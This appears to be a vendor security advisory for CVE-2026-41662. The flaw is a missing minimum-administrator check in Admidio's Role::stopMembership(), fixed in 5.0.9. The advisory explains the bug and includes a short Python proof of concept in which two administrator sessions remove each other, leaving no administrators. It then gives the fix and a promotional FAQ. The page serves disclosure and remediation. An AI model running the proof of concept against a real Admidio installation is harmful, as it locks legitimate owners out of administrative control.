CVE-2026-41662

Role::stopMembership() does not verify whether removing a user from the administrator role leaves zero administrators. The deprecated Membership::stopMembership() contains this safety check, but the current code path bypasses it. Any administrator can remove the last remaining other administrator, locking the entire system out of administrative access. The exploit does not require concurrent requests; sequential removals produce the same result.

Details

Role::stopMembership() in src/Roles/Entity/Role.php stops a user's membership in a role without verifying whether the action leaves the administrator role with zero members:

// src/Roles/Entity/Role.php - Role::stopMembership()
public function stopMembership(int $userId): bool
{
    // No check for minimum administrator count
    // Directly updates membership end date
}

The deprecated Membership::stopMembership() contains this safety check and raises SYS_MUST_HAVE_ADMINISTRATOR when the removal would leave no admins, but current code paths no longer call this method.

Role::setMembership() includes a guard that prevents a user from removing their own administrator membership:

if ($userId === $gCurrentUserId) {
    // Prevents self-removal from admin role
}

This guard does not prevent an administrator from removing the last other administrator. Consider a system with exactly two administrators (Admin A and Admin B):

1. Admin A removes Admin B from the administrator role. The self-removal check passes (Admin A is not removing themselves). No minimum-count check runs. Admin B loses admin access.
2. Admin A is now the sole administrator. Admin A cannot remove themselves (self-removal guard), but the system is one compromised account away from total lockout.
3. If Admin A and Admin B each send a removal request for the other (sequentially or concurrently), both succeed. The system has zero administrators.

The core bug is the missing minimum-administrator check in Role::stopMembership(), not timing. Sequential requests reproduce the issue just as concurrent ones do.

Proof of Concept

Requirements: two active administrator accounts (Admin A and Admin B) with valid sessions.

import requests

BASE = "https://admidio.example.com"

session_a = requests.Session()
session_b = requests.Session()

# Authenticate both sessions (login step omitted for brevity)

# Step 1: Admin A removes Admin B (sequential, no race needed)
resp1 = session_a.post(f"{BASE}/modules/profile/profile_function.php", data={
    "mode": "stop_membership",
    "user_uuid": ADMIN_B_UUID,
    "role_uuid": ADMIN_ROLE_UUID
})
print(f"Admin A removes Admin B: {resp1.status_code}")  # 200

# Step 2: Admin B removes Admin A (Admin B's session is still valid)
resp2 = session_b.post(f"{BASE}/modules/profile/profile_function.php", data={
    "mode": "stop_membership",
    "user_uuid": ADMIN_A_UUID,
    "role_uuid": ADMIN_ROLE_UUID
})
print(f"Admin B removes Admin A: {resp2.status_code}")  # 200

# The system now has 0 administrators.

After both requests complete, no users remain in the administrator role. The administrative interface becomes inaccessible. Recovery requires direct database manipulation to reassign the administrator role.

Two colluding or compromised administrator accounts lock out all administrative access to the Admidio installation. Recovery demands direct database access, which may not be available on shared hosting environments. The attack does not require precise timing because Role::stopMembership() performs no minimum-admin-count check at all.

CVE-2026-41662 has a CVSS score of 5.2 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.9); upgrading removes the vulnerable code path.

Kodem intelligence

Add a minimum-administrator-count check to Role::stopMembership(). Before stopping a membership in the administrator role, query the current count of active members. If stopping this membership would leave zero administrators, reject the request with SYS_MUST_HAVE_ADMINISTRATOR. This mirrors the check already present in the deprecated Membership::stopMembership() method.

Found by aisafe.io

1. What is CVE-2026-41662? CVE-2026-41662 is a medium-severity security vulnerability in admidio/admidio (composer), affecting versions <= 5.0.8. It is fixed in 5.0.9.
2. How severe is CVE-2026-41662? CVE-2026-41662 has a CVSS score of 5.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of admidio/admidio are affected by CVE-2026-41662? admidio/admidio (composer) versions <= 5.0.8 is affected.
4. Is there a fix for CVE-2026-41662? Yes. CVE-2026-41662 is fixed in 5.0.9. Upgrade to this version or later.
5. Is CVE-2026-41662 exploitable, and should I be worried? Whether CVE-2026-41662 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41662 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41662? Upgrade admidio/admidio to 5.0.9 or later.